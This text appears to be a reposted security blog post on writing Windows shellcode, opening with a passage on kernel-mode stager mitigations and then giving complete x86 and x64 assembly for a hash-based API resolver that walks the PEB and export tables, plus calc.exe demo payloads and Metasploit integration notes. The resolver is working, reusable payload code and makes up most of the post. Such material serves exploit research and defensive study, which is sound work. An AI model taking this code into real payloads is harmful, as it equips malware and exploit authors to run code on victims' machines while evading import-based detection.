circumvented when running the user mode stager. However, as the physical address of the page directory is held in the CR3 register it should be possible to resolve it to a virtual address programmatically. The kernel mode mapping of SharedUserData could be marked as not executable, removing the location where the kernel stager goes resident. However the respective PTE could still be modified to overcome this. Furthermore the entire HAL memory region should be subject to ASLR so as predetermined addresses cannot be chosen by the attacker. The kernel mode mapping of SharedUserData could not be mapped across all process address spaces, instead a separate user mode only mapping could be present for each processes SharedUserData region and mapped back into kernel memory only if needed. This could prevent the user mode stager from being 'injected' into each user mode process. Download http://www.harmonysecurity.com/files/win32_kernel_shellcode.asm Sursa: Harmony Security : Blog

Calling API Functions Introduction An alternative approach for position independent code, such as shellcode, to call Windows API functions is shown below. Their are all ready many existing methods available, typically relying on parsing either the Import Address Table (IAT) or Export Address Table (EAT) of a specific module in order to locate the address of a required function. Some methods use a variation of the above where the kernel32 modules EAT (or a modules IAT entry referencing kernel32) is parsed in order to locate the functions LoadLibraryA and GetProcAddress and these two functions are then used to resolve the remaining function addresses (as well as loading in any modules not all ready present in the processes address space). If relying on GetProcAddress to resolve functions, the ASCII names of the functions must also be available, increasing the shellcodes size considerably. It is therefore common to use a hashing technique, typically based off the assembly rotate (ROR/ROL) instructions, in order to avoid this problem and create a more optimized solution. The 2003 paper 'Understanding Windows Shellcode' by Skape[1] is an excellent read to understand the various techniques fully. A good example of a well optimized shellcode is SkyLined's w32-bind-ngs-shellcode[2]. An Alternative Approach Another way to resolve function addresses is to use a hash combined of both the desired function name and its module name. The entire list of modules loaded in a process can be iterated over, calculating the respective hash value for each exported function and comparing it to that of the desired hash we are searching for. Once located we can proceed to resolve the functions address. Further more, we can wrap this functionality in a function which will act as a proxy, allowing the caller to indirectly call the desired API function. A pseudo x86 code example of using this technique is shown below on the left and for comparison a more traditional approach of achieving the same is shown on the right. push param2 // push the second parameter push param1 // push the first parameter push hash // push the hash of the function+module call api_call // resolve and indirectly call the desired function push hash // push the hash of the function + module push module_address // push the address of the module call resolve_api_address // resolve the desired function push param2 // push the second parameter push param1 // push the first parameter call api_address // directly call the desired function We can see from the above that their are some advantages, namely it takes only one call to both resolve and call any API function. We also do not need to keep track of any modules base addresses. All the source code shown below can be downloaded from this zip file CallingAPIFunctions.zip. Also included in the zip are the x86 and x64 versions of the eggtest application used to run and aid debugging of shellcode. Implementation – Win32 x86 Listed below is a 137 byte implementation of the technique described above. This implementation works on all versions of 32-bit Windows (Windows 7, 2008, Vista, 2003, XP, 2000, NT4). It is implemented as a function called 'api_call'. Its parameters are the hash value of the desired API function to call as well as all the desired API functions parameters. It returns the result of indirectly calling the desired API function. The stdcall calling convention (Used by all Win32 API functions) is honored in that the EAX, ECX and EDX registers are expected to be clobbered while the remaining registers will not be clobbered. [BITS 32] api_call: pushad // We preserve all the registers for the caller, bar EAX and ECX. mov ebp, esp // Create a new stack frame xor edx, edx // Zero EDX mov edx, [fs:edx+48] // Get a pointer to the PEB mov edx, [edx+12] // Get PEB->Ldr mov edx, [edx+20] // Get the first module from the InMemoryOrder module list next_mod: mov esi, [edx+40] // Get pointer to modules name (unicode string) movzx ecx, word [edx+38] // Set ECX to the length we want to check xor edi, edi // Clear EDI which will store the hash of the module name loop_modname: xor eax, eax // Clear EAX lodsb // Read in the next byte of the name cmp al, 'a' // Some versions of Windows use lower case module names jl not_lowercase sub al, 0x20 // If so normalise to uppercase not_lowercase: ror edi, 13 // Rotate right our hash value add edi, eax // Add the next byte of the name loop loop_modname // Loop untill we have read enough // We now have the module hash computed push edx // Save the current position in the module list for later push edi // Save the current module hash for later // Proceed to itterate the export address table, mov edx, [edx+16] // Get this modules base address mov eax, [edx+60] // Get PE header add eax, edx // Add the modules base address mov eax, [eax+120] // Get export tables RVA test eax, eax // Test if no export address table is present jz get_next_mod1 // If no EAT present, process the next module add eax, edx // Add the modules base address push eax // Save the current modules EAT mov ecx, [eax+24] // Get the number of function names mov ebx, [eax+32] // Get the rva of the function names add ebx, edx // Add the modules base address // Computing the module hash + function hash get_next_func: jecxz get_next_mod // When we reach the start of the EAT (we search backwards), process the next module dec ecx // Decrement the function name counter mov esi, [ebx+ecx*4] // Get rva of next module name add esi, edx // Add the modules base address xor edi, edi // Clear EDI which will store the hash of the function name // And compare it to the one we want loop_funcname: xor eax, eax // Clear EAX lodsb // Read in the next byte of the ASCII function name ror edi, 13 // Rotate right our hash value add edi, eax // Add the next byte of the name cmp al, ah // Compare AL (the next byte from the name) to AH (null) jne loop_funcname // If we have not reached the null terminator, continue add edi, [ebp-8] // Add the current module hash to the function hash cmp edi, [ebp+36] // Compare the hash to the one we are searchnig for jnz get_next_func // Go compute the next function hash if we have not found it // If found, fix up stack, call the function and then value else compute the next one... pop eax // Restore the current modules EAT mov ebx, [eax+36] // Get the ordinal table rva add ebx, edx // Add the modules base address mov cx, [ebx+2*ecx] // Get the desired functions ordinal mov ebx, [eax+28] // Get the function addresses table rva add ebx, edx // Add the modules base address mov eax, [ebx+4*ecx] // Get the desired functions RVA add eax, edx // Add the modules base address to get the functions actual VA // We now fix up the stack and perform the call to the desired function... finish: mov [esp+36], eax // Overwrite the old EAX value with the desired api address for the upcoming popad pop ebx // Clear off the current modules hash pop ebx // Clear off the current position in the module list popad // Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered pop ecx // Pop off the origional return address our caller will have pushed pop edx // Pop off the hash value our caller will have pushed push ecx // Push back the correct return value jmp eax // Jump into the required function // We now automagically return to the correct caller... get_next_mod: pop eax // Pop off the current (now the previous) modules EAT get_next_mod1: pop edi // Pop off the current (now the previous) modules hash pop edx // Restore our position in the module list mov edx, [edx] // Get the next module jmp short next_mod // Process this module Example - Win32 x86 Using the implementation given above (and assuming it has been saved to a file called 'x86_api_call.asm'), we can build a simple example which will execute the calc program and then terminate the process. [BITS 32] [ORG 0] cld // clear the direction flag call start // call start, this pushes the address of 'api_call' onto the stack delta: %include "./x86_api_call.asm" start: pop ebp // pop off the address of 'api_call' for calling later push byte +1 // push the command show parameter lea eax, [ebp+command-delta] // calculate an address to the command line push eax // push the command line parameter push 0x876F8B31 // push the hash value for WinExec call ebp // kernel32.dll!WinExec( &command, SW_NORMAL ) push byte 0 // push the desired exit code parameter push 0x56A2B5F0 // push the hash value for ExitProcess call ebp // call kernel32.dll!ExitProcess( 0 ) command: db "calc.exe", 0 We can build the above example using the NASM assembler[4] with the command: >nasm -f bin -O3 -o x86_example.bin x86_example.asm We can run the example with the eggtest (included in zip file) program: >eggtest_x86.exe x86_example.bin Implementation - Win64 x64 We can of course use the same technique on 64bit Windows. Listed below is a 192 byte implementation of the technique described above for the x64 architecture. As before, it is implemented as a function called 'api_call'. The Win64 API use quite a different calling convention[3] to that of the Win32 API. The first four parameters to any function are passed in via the registers RCX, RDX, R8 and R9 respectively, with any remaining parameters being pushed onto the stack (Their are exception to this convention for floating point parameters). Another notable difference when coding for Win64 is that the Process Environment Block (PEB) must be retrieved from gs:96 as opposed to fs:48 on Win32. The desired functions hash value is passed in via register R10 in order to allow the registers RCX, RDX, R8 and R9 to be used for the desired function parameters. We can note that the hash values used do not need to be changed between architectures. [BITS 64] api_call: push r9 // Save the 4th parameter push r8 // Save the 3rd parameter push rdx // Save the 2nd parameter push rcx // Save the 1st parameter push rsi // Save RSI xor rdx, rdx // Zero rdx mov rdx, [gs:rdx+96] // Get a pointer to the PEB mov rdx, [rdx+24] // Get PEB->Ldr mov rdx, [rdx+32] // Get the first module from the InMemoryOrder module list next_mod: mov rsi, [rdx+80] // Get pointer to modules name (unicode string) movzx rcx, word [rdx+74] // Set rcx to the length we want to check xor r9, r9 // Clear r9 which will store the hash of the module name loop_modname: xor rax, rax // Clear rax lodsb // Read in the next byte of the name cmp al, 'a' // Some versions of Windows use lower case module names jl not_lowercase sub al, 0x20 // If so normalise to uppercase not_lowercase: ror r9d, 13 // Rotate right our hash value add r9d, eax // Add the next byte of the name loop loop_modname // Loop untill we have read enough // We now have the module hash computed push rdx // Save the current position in the module list for later push r9 // Save the current module hash for later // Proceed to itterate the export address table, mov rdx, [rdx+32] // Get this modules base address mov eax, dword [rdx+60] // Get PE header add rax, rdx // Add the modules base address mov eax, dword [rax+136] // Get export tables RVA test rax, rax // Test if no export address table is present jz get_next_mod1 // If no EAT present, process the next module add rax, rdx // Add the modules base address push rax // Save the current modules EAT mov ecx, dword [rax+24] // Get the number of function names mov r8d, dword [rax+32] // Get the rva of the function names add r8, rdx // Add the modules base address // Computing the module hash + function hash get_next_func: jrcxz get_next_mod // When we reach the start of the EAT (we search backwards), process the next module dec rcx // Decrement the function name counter mov esi, dword [r8+rcx*4]// Get rva of next module name add rsi, rdx // Add the modules base address xor r9, r9 // Clear r9 which will store the hash of the function name // And compare it to the one we want loop_funcname: xor rax, rax // Clear rax lodsb // Read in the next byte of the ASCII function name ror r9d, 13 // Rotate right our hash value add r9d, eax // Add the next byte of the name cmp al, ah // Compare AL (the next byte from the name) to AH (null) jne loop_funcname // If we have not reached the null terminator, continue add r9, [rsp+8] // Add the current module hash to the function hash cmp r9d, r10d // Compare the hash to the one we are searchnig for jnz get_next_func // Go compute the next function hash if we have not found it // If found, fix up stack, call the function and then value else compute the next one... pop rax // Restore the current modules EAT mov r8d, dword [rax+36] // Get the ordinal table rva add r8, rdx // Add the modules base address mov cx, [r8+2*rcx] // Get the desired functions ordinal mov r8d, dword [rax+28] // Get the function addresses table rva add r8, rdx // Add the modules base address mov eax, dword [r8+4*rcx]// Get the desired functions RVA add rax, rdx // Add the modules base address to get the functions actual VA // We now fix up the stack and perform the call to the drsired function... finish: pop r8 // Clear off the current modules hash pop r8 // Clear off the current position in the module list pop rsi // Restore RSI pop rcx // Restore the 1st parameter pop rdx // Restore the 2nd parameter pop r8 // Restore the 3rd parameter pop r9 // Restore the 4th parameter pop r10 // pop off the return address sub rsp, 32 // reserve space for the four register params (4 * sizeof(QWORD) = 32) // It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP). push r10 // push back the return address jmp rax // Jump into the required function // We now automagically return to the correct caller... get_next_mod: // pop rax // Pop off the current (now the previous) modules EAT get_next_mod1: pop r9 // Pop off the current (now the previous) modules hash pop rdx // Restore our position in the module list mov rdx, [rdx] // Get the next module jmp next_mod // Process this module Example - Win64 x64 Using the x64 implementation given above (and assuming it has been saved to a file called 'x64_api_call.asm'), we can build another simple example which will execute the calc program and then terminate the process. [BITS 64] [ORG 0] cld // clear the direction flag and rsp, 0xFFFFFFFFFFFFFFF0 // Ensure RSP is 16 byte aligned call start // call start, this pushes the address of 'api_call' onto the stack delta: %include "./x64_api_call.asm" start: pop rbp // pop off the address of 'api_call' for calling later mov rdx, 1 // param 2 is the command show parameter lea rcx, [rbp+command-delta] // param 1 is the address to the command line mov r10d, 0x876F8B31 // R10 = the hash value for WinExec call rbp // WinExec( &command, 1 ); mov rcx, 0 // set the exit function parameter mov r10d, 0x6F721347 // R10 = the hash value for RtlExitUserThread call rbp // call ntdll.dll!RtlExitUserThread( 0 ) command: db "calc.exe", 0 We can build the above example using the NASM assembler with the command: >nasm -f bin -O3 -o x64_example.bin x64_example.asm We can run the example with the eggtest (included in zip file) program: >eggtest_x64.exe x64_example.bin Forwarded Exports Modules may contain entries in their EAT which is actually a forwarded entry[5]. This means that instead of a modules export resolving to a function within that module, this export is instead intended to resolve to a function within another module. For example on Windows Vista, 2008 and 7 the export kernel32.dll!ExitThread is a forwarded export that points to ntdll.dll!RtlExitUserThread. This is achieved by storing the ASCII module name and function name that the forwarded export wishes to point to in the respective EAT entry (instead of an RVA). I am unaware of any shellcode implementations that attempt to resolve forwarded exports correctly (unless using kernel32.dll!GetProcAddress) and the implementation given above does not resolve forwarded exports either. It gets awkward quickly as you must first recognize that the export is a forwarded one, proceed to use LoadLibraryA to load the forwarded module (in order to retrieve its base address, and load it into the processes address space if it is not all ready present) and then GetProcAddress to resolve the forwarded function based off the ASCII function name given. For typical shellcodes the only function required which is a forwarded export is ExitThread as mentioned above. A workaround for this problem is to check at run time the current Windows platform and call the appropriate function to avoid calling a forwarded export as shown in the Win32 snippet below: exitfunk: mov ebx, 0x0A2A1DE0 // The EXITFUNK as patched in by the user... push 0x9DBD95A6 // hash( "kernel32.dll", "GetVersion" ) call ebp // GetVersion(); (AL will = major version and AH will = minor version) cmp al, byte 6 // If we are not running on Windows Vista, 2008 or 7 jl short goodbye // Then just call the exit function... cmp bl, 0xE0 // If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7... jne short goodbye mov ebx, 0x6F721347 // Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread goodbye: // We now perform the actual call to the exit function push byte 0 // push the exit function parameter push ebx // push the hash of the exit function call ebp // call EXITFUNK( 0 ); Hash Collisions An obvious concern when using hash values in the manner described here, is the occurrence of collisions between the hash of the function you are searching for and an arbitrary function in an arbitrary module which computes to the same hash value. To help determine the possibility of this, a simple python script can be used to scan all modules on a system, computing their exported functions hashes and detecting if a collision occurs against any predefined functions (e.g. common functions we might need to use such as kernel32.dll!WinExec or ws2_32!recv). The python script is included in the zip file (see start of this post) and uses the pefile package[6] to process a modules exports. This script has been run on multiple systems (Windows 7 RC1, 2008 SP1, Vista SP2, 2003 SP2, XP SP3, 2000 SP4 and NT4 SP6a), processing a total of 1,864,417 functions across 35,178 modules and detected no collisions against the functions defined (Please see the python script for more details). Metasploit Integration The majority of the Metasploit[7] x86 Windows payloads have been rewritten using the techniques presented here in order to bring Windows 7 and backwards compatibility to the stagers, stages and singles as well as considerable size reductions for the stagers and stages. Work on x64 payloads is under way. References [1] http://hick.org/code/skape/papers/win32-shellcode.pdf [2] w32-bind-ngs-shellcode - 211 byte null-free 32-bit Windows port-binding shellcode (all OS/SPs) - Google Project Hosting [3] Calling Convention [4] The Netwide Assembler | Download The Netwide Assembler software for free at SourceForge.net [5] Inside Windows: An In-Depth Look into the Win32 Portable Executable File Format, Part 2 [6] pefile - pefile is a Python module to read and work with PE (Portable Executable) files - Google Project Hosting [7] Metasploit Framework Penetration Testing Software | Metasploit Project Sursa: Harmony Security : Blog